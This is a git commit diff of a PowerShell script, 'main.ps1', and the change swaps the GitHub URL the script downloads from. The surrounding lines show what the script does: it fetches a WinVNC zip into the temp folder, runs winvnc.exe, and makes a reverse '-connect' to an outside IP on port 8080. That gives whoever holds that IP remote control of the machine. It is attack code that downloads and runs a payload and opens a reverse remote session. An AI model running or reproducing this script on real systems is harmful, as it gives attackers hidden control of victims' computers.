Update main.ps1
This commit is contained in:
@@ -20,7 +20,7 @@ $ip = "$ip"
|
||||
$port = '8080'
|
||||
|
||||
$tempFolder = "$env:temp\vnc"
|
||||
$vncDownload = "https://github.com/beigeworm/assets/raw/main/winvnc.zip"
|
||||
$vncDownload = "https://github.com/beigew0rm/assets/raw/main/winvnc.zip"
|
||||
$vncZip = "$tempFolder\winvnc.zip"
|
||||
|
||||
if (!(Test-Path -Path $tempFolder)) {
|
||||
@@ -38,4 +38,4 @@ rm -Path $vncZip -Force
|
||||
$proc = "$tempFolder\winvnc.exe"
|
||||
Start-Process $proc -ArgumentList ("-run")
|
||||
sleep 2
|
||||
Start-Process $proc -ArgumentList ("-connect $ip::$port")
|
||||
Start-Process $proc -ArgumentList ("-connect $ip::$port")
|
||||
|
||||
Reference in New Issue
Block a user